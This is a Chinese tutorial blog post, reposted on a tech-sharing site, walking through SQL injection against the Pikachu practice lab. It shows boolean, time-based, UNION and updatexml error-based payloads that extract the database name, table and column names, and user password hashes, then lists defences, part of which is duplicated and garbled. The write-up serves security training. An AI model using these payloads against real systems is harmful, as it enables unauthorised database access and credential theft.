ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

渗透测试之SQL注入漏洞

2021-09-27 18:31:52  阅读:272  来源: 互联网

标签:渗透 pikachu 数据库 your 漏洞 SQL kobe email select


文章目录

SQL注入

​ 字符型的注入(加单引号)和 数字型的注入

1' or 1=1#

查出所有数据。

SQL盲注

​ 在服务器没有错误回显时完成注入攻击,服务器没有回显,对攻击者来说缺少了重要调试信息,所以攻击者必须找到一个方法验证注入的SQL语句是否被执行。

分类:布尔盲注,时间盲注,

布尔盲注

select *from 表名 where id = x
可以使用经典的 and 1=1 和 and 1=2 
在url中输入http:xxxx/abc.php?id=x and 1=1  看页面是否正常运行

在url中输入http:xxxx/abc.php?id=x and 1=2  看页面是否报错
例子
http://localhost/pikachu-master/vul/sqli/sqli_blind_b.phpname=kobe%27+and+1%3D1%23&submit=%E6%9F%A5%E8%AF%A2
kobe' and 1=1#

kobe' and 1=2#

kobe’ and(length(database())>5)# 尝试获取数据库名的长度

kobe’ and(length(database())>7)# 错误 不大于7 大于5那么长度就是5;

时间盲注

​ 基于布尔盲注,结合if判断和sleep()函数来得到一个时间上的变换延迟的参照。

and if(length(database())>5,0)

kobe' and if(length(database())>5,sleep(5),0)#   

联合盲注

猜字段,猜数据库名字

## 猜测查询的字段数
kobe' order by 1#    
kobe' order by 2#
kobe' order by 3#

##Unknown column '3' in 'order clause'

Unknown column ‘3’ in ‘order clause’ 表面一共有两个字段。

猜测数据库名字 union select联合查询继续获取信息。

要求 :两个表的列数一样。 union运算符可以将两个以上的select语句的查询结果集合合并成一个结果集合显示。

kobe' union select database(),user()#
结果:获得额外的结果
your uid:3
your email is: kobe@pikachu.com

your uid:pikachu
your email is: root@localhost

获取数据库版本和当前操作系统

kobe' union select version(),@@version_compile_os#

your uid:3
your email is: kobe@pikachu.com

your uid:5.7.26
your email is: Win64

尝试获取pikachu数据库中的表名

	该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库

##  1.是用来凑数的,因为有两个字段。
kobe ' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

执行结果:

your uid:3

your email is: kobe@pikachu.com

your uid:1
your email is: httpinfo,member,message,users,xssblind

根据经验猜测

## 有经验的黑客会去猜测数据库的表明
## 猜测存在 users,所以输入
kobe' union select 1,2 from users#
kobe' and exists(select * from users)#

尝试获取users表中的字段名

## 1 为了凑2个字段
kobe' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
数据库是当前数据库  表面位users

结果:

your uid:1
your email is: id,username,password,level

6.尝试获取用户名和密码

kobe' union select username,password from users#

执行结果:

your uid:admin
your email is: e10adc3949ba59abbe56e057f20f883e

your uid:pikachu
your email is: 670b14728ad9902aecba32e22fa4f6bd

your uid:test
your email is: e99a18c428cb38d5f260853678922e03

​ 成功获得了用户名和密码,一共两个字段。但是这个密码采取了md5加密。

数字型注入

用fiddler抓包 用向上的断点抓取请求,修改参数位 1 or 1=1# 查询到所有信息

结果为:

hello,vince
your email is: vince@pikachu.com

hello,allen
your email is: allen@pikachu.com

hello,kobe
your email is: kobe@pikachu.com

hello,grady
your email is: grady@pikachu.com

hello,kevin
your email is: kevin@pikachu.com

hello,lucy
your email is: lucy@pikachu.com

hello,lili
your email is: lili@pikachu.com

​ 在注册是进行sql注入。网站返回的是数据库的报错信息,因此可以进行报错注入。

## 1 为参数  第二个参数为具体的节点。 要拿到数据库的名字。
kobe' or updatexml(1,concat(0x7e,database()),1) or'

执行结果:XPATH syntax error: ‘~pikachu’

0' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu' )),0) or '

sql注入步骤

​ 判断注入点,判断字段数,判断回显点,查询相关内容。

怎样防御SQL注入漏洞

​ 1.使用参数化的过滤性语句。

​ 参数化:where name =? java开发后端时使用PreparedStatement ,字符串拼接就是非参数化。 在使用mybatis框架时减少 的 使 用 , 非 必 要 不 使 用 的使用,非必要不使用 的使用,非必要不使用,使用#替代。。

​ 2.输入验证。

​ 敏感命令过滤

​ 3.错误消息处理

​ 敏感信息不显示

​ 4.加密处理,md5是最基本的可以再加一个随机字符处理

​ 5.存储过程来执行所有的查询

​ 6.使用专业的漏洞扫描工具

​ 7.确保数据库安全

? java开发后端时使用PreparedStatement ,字符串拼接就是非参数化。 在使用mybatis框架时减少 的 使 用 , 非 必 要 不 使 用 的使用,非必要不使用 的使用,非必要不使用,使用#替代。。

​ 2.输入验证。

​ 敏感命令过滤

​ 3.错误消息处理

​ 敏感信息不显示

​ 4.加密处理,md5是最基本的可以再加一个随机字符处理

​ 5.存储过程来执行所有的查询

​ 6.使用专业的漏洞扫描工具

​ 7.确保数据库安全

标签:渗透,pikachu,数据库,your,漏洞,SQL,kobe,email,select
来源: https://blog.csdn.net/gao1213977085/article/details/120514550

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有